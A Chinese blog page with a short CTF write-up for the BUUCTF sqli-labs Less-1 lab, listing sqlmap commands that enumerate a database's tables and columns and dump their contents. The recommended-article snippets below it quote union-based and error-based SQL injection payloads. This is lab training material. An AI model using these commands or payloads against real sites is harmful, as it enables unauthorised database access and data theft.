BUUCTF-sqli-labs1

最新推荐文章于 2024-12-31 16:52:05 发布
最新推荐文章于 2024-12-31 16:52:05 发布
阅读量1.7k 收藏 2
点赞数
CC 4.0 BY-SA版权
分类专栏： sqli-labs 文章标签： sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/li2254477890/article/details/118784300
本文介绍了如何使用sqlmap工具解决BUUCTF中sqli-labs1的问题。通过指定参数获取数据库名，列出表名和字段名，最后导出字段内容，详细步骤清晰明了，参考链接提供了sqlmap的更多语法。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

在这里插入图片描述根据题目内容他让我们（请输入id作为带数值的参数 ）
这里面我用了sqlmap工具来进行解题。
在里面输入 python sqlmap.py -u +(网站名）（记住在网站名后面要加入?id=1） --dbs #获取数据库
在这里插入图片描述这样我们就可以获得数据库中的名称了。
下面我们就要看数据库中的表明了。
python sqlmap.py -u +(网站名） -D 数据库名 --tables #列出表名 在这里插入图片描述我们知道了表名，下面我们就要爆出字段名。
python sqlmap.py -u +(网站名）-D 数据库名 -T 表名 --columns #列出字段 。

在这里插入图片描述 python sqlmap.py -u +(网站名）-D 数据库名 -T 表名 -C 字段名1,字段名2,…… --dump #获取字段内容
在这里插入图片描述https://www.cnblogs.com/iAmSoScArEd/articles/9263735.html（这个网站里面有sqlmap的语法）

最低0.47元/天 解锁文章

200万优质内容无限畅学
BUUCTF/sqli-labs 1-23关
weixin_44041994的博客
03-21 1908
因为#号后面都被注释了。这关输入正确用户名密码后，页面显示的不再是User-Agent，而是变成了Refer，我们通过抓包更改Refer，发现和18关差不多，只不过18关有3个参数，而19关只有两个参数。上面提示让我们使用outfile，outfile是sql的语法，可以通过into outfile命令，将查询到的结果写入目标路径，在知道目标系统的绝对路径时可以使用，如。这关通过测试，发现无论sql语句正确与否，返回的信息都是一样的，这样就不符合布尔注入的前提了，布尔盲注只适用于正确与错误结果不同的情况。
buuctf---sqli-labs靶场，两种报错注入的方式（XPATH型和主键重复型）
DMXA的博客
10-07 388
【代码】buuctf---sqli-labs靶场，两种报错注入的方式（XPATH型和主键重复型）
Sqli-Labs(1-10)通关笔记
weixin_54894046的博客
04-02 4876
靶场环境 buuctf的靶场 来到第一关 根据提示：提交方式GET 有报错提示 闭合方式为单引号 源码的sql语句为 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 使用?id=1传参 不要问我为啥这样写 我也不知道 依次使用?id=2,3,4,5,6.....不知道这关要干嘛QAQ 目标：得到数据库名字 表名 字段名 数据 输入?id=1'%23 原理用自己添加的单引号闭合 然后用#注释掉后面的单引号 不过#要用url编码成%
【CTF Web】XCTF GFSJ0485 simple_php Writeup（代码审计+GET请求+PHP弱类型漏洞）
HEX9CF的技术博客
05-06 609
小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
【BUUCTF】web sqli-labs 1（sql注入）
weixin_45844670的博客
10-12 2118
查询闭合 http://54250e8c-3b6c-4a66-8079-9beb8d389458.node3.buuoj.cn/Less-1/?id=0' 查询数据库 http://54250e8c-3b6c-4a66-8079-9beb8d389458.node3.buuoj.cn/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata -- a 查询表名 http://54250e
BUUCTF sqli-labs 1
m0_59527104的博客
12-31 739
发现存在flag表，接着就是要看该表的信息：?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'),3--+查看该数据库中都有什么表：?这里需要注意，我们要指定是ctftraining数据库的flag表，如果单纯的是flag则是查找的security.flag这时就会报错。
SQLi-LABS（1~10关详解）
CTF小白的博客
09-22 7616
目录SQLi-LABS Less-1查看题目环境测试注入点SQL注入查找列数查询数据库查询数据库中的表查表中的字段查数据SQLi-LABS Less-2查看题目环境测试注入点SQL注入查找列数查询数据库查询数据库中的表查表中的字段查数据SQLi-LABS Less-3查看题目环境测试注入点SQL注入查找列数查询数据库查询数据库中的表查表中的字段查数据SQLi-LABS Less-4查看题目环境测试...
buuctf的sqli-labs靶场的36关，（宽字节注入）
DMXA的博客
10-07 440
【代码】buuctf的sqli-labs靶场的36关，（宽字节注入）
buuctf sqli-labs
最新发布
02-19
### 关于BUUCTF平台上SQLi-Labs的使用教程和解题思路 #### SQL注入基础概念 SQL注入是一种常见的Web应用程序漏洞，允许攻击者通过输入恶意SQL语句来操纵后台数据库查询逻辑。这种技术广泛应用于CTF竞赛中作为考察...
sqli-labs buuctf平台+本地环境 全关全解 不是很详解（＜_＜）
weixin_48083470的博客
07-12 2203
sqli-labs 在buuctf平台 搜索sqli-labs 可以更加模拟线上赛的环境 less-1 less-5 ?id=0' and(select extractvalue(1,concat('~',(select database())))) %23 报错注入详细讲解：https://blog.csdn.net/silence1_/article/details/90812612 less-6 发现不报错了，用布尔盲注 写python代码来跑出内容 import requests url
【CTF Web】BUUCTF SQLi-LABS Page-1(Basic Challenges) Less-9 Writeup（SQL注入+GET请求+时间盲注+单引号闭合）
HEX9CF的技术博客
09-26 407
1点击启动靶机。
【CTF Web】BUUCTF SQLi-LABS Page-1(Basic Challenges) Less-1 Writeup（SQL注入+GET请求+报错注入+单引号闭合+字符型注入）
HEX9CF的技术博客
09-23 411
1点击启动靶机。
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析
热门推荐
Jay17的博客
08-03 4万+
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析 详细，超级详细
sql-labs1
Braindance
02-28 405
前言 在线靶机地址：https://buuoj.cn/challenges#sqli-labs less-1 ​ 首先说明sql注入的大致步骤： 判断注入类型。如整型字符型注入等。 判断列数 判断数据的回显位 构造sql语句 ​ 根据题目提示，说明是一个单引号注入题目，构造一个带单引号的语句?id=1'，发现数据库报错 ​ 通过后面的报错语句1'' LIMIT 0,1的分析，我们的单引号被数据库解析，那么说明我们也可以使用连接查询union插入我们想要查询的语句。 ​ 推出数据库的查询的部分语句可能.
buuoj--sqlilabs
weixin_30270815的博客
03-21 922
CTF欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑
渣渣学CTF之 sqli-lab
weixin_43900310的博客
05-15 699
关于sql注入中的普通注入（对应的sqli-lab中的less 1-5） 1.注入类型： 数字型（直接输入数字便可以注入） 字符型（在less1,less3,less4中，存在形式一般为1’ 1" 1’) 1")）这得看判断得到的结果反馈是什么，从而猜测他的注入形式。 2.注入语句： 对数据库中存在的字段进行排序,注意此处为1’ 让其语句通过 1' order by 3 --+ ...
SQLi-LABS(更新中)
weixin_43705814的博客
01-15 227
Page-1(Basic Challenges) less1-less10 less1 less1(基于错误的字符注入) 存在字符型注入 查看字段数 http://390be29a-5601-4bec-a122-d8e155f57ba2.node3.buuoj.cn/Less-1/ ?id=1' order by 3 --+ 字段数为3 查看显示的列数 http://390be29a-5601-4bec-a122-d8e155f57ba2.node3.buuoj.cn/Less-1/ ?id=1'
sqli-labs第一关详解 纯新手向 含原理
髣髴兮若轻云之蔽月
04-23 3029
Less-01 为方便初学者理解，更改了sqli-labs的源码，以显示sql语句 后期学习中需要自己推理 初始页面 在url后面用get传值id=1，随后能看到网页出现变化 如下图 不断更改上传id的值，会有不同的用户信息显示。 按递增顺序直到14为止， 即(1~14) 判断注入点是否存在且能否使用 一般使用单引号进行判断，加到url后面 出现报错 内容大致为LIMIT0,1附近有语法错误。 为什么要使用单引号进行判断 实际上，我们可以看到sql语句为 SELECT * FROM users
BUUOJ-sqli_labs做题笔记
qq_52988674的博客
08-30 596
less-1 基于错误的单引号字符串 Please input the ID as parameter with numeric value根据该提示在url输入?id=1，可以看到回显正常，试着加一个单引号，页面报错 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LI
buuctf sqli-labs1
12-09
buuctf sqli-labs1 是一个基于Web的SQL注入练习平台，旨在帮助学习者理解和掌握SQL注入攻击的原理和防御方法。SQL注入是一种常见的Web安全漏洞，攻击者可以通过在输入字段中插入恶意的SQL代码，从而获取、修改或删除...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值